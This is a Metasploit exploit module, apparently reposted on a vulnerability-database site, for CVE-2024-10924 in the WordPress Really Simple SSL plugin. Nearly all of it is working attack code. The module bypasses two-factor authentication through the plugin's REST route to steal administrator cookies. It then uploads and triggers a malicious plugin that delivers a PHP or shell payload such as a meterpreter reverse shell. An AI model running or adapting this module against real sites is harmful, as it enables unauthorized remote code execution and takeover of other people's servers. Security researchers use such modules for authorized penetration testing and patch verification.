##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin
(versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and
uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,
2FA must be enabled on the target site; otherwise, the exploit will not work.
},
'Author' => [
'Valentin Lobstein', # Metasploit module
'István Márton' # Vulnerability discovery
],
'References' => [
['CVE', '2024-10924'],
['EDB', '52207'],
['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1])
]
)
end
def check
# next lines included for automatic inclusion into vulnerable plugins list
# check_plugin_version_from_readme('really-simple-ssl', '9.1.2')
# check_plugin_version_from_readme('really-simple-ssl-pro', '9.1.2')
# check_plugin_version_from_readme('really-simple-ssl-pro-multisite', '9.1.2')
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?
print_status("WordPress Version: #{wordpress_version}") if wordpress_version
%w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|
plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0')
case plugin_check.code
when 'appears'
return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.")
when 'safe'
return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.")
end
end
CheckCode::Unknown('No vulnerable plugins were detected.')
end
def exploit
admin_cookie = bypass_2fa
fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookie') unless admin_cookie
print_status('2FA bypass successful. Uploading plugin...')
upload_and_execute_payload(admin_cookie)
rescue StandardError => e
fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}")
end
def bypass_2fa
user_id = datastore['USER_ID']
login_nonce = Rex::Text.rand_text_numeric(10)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => {
'user_id' => user_id,
'login_nonce' => login_nonce,
'redirect_to' => '/wp-admin/'
}.to_json,
'vars_get' => {
'rest_route' => '/reallysimplessl/v1/two_fa/skip_onboarding'
}
})
fail_with(Failure::Unreachable, 'No response from the target') unless res
case res.code
when 404
fail_with(Failure::NotVulnerable, '2FA is not enabled or the plugin is misconfigured.')
when 200
cookies = extract_cookies(res.get_cookies)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.') unless cookies
return cookies
else
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.")
end
end
def extract_cookies(cookie_header)
match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
return match[1] if match
nil
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded
print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation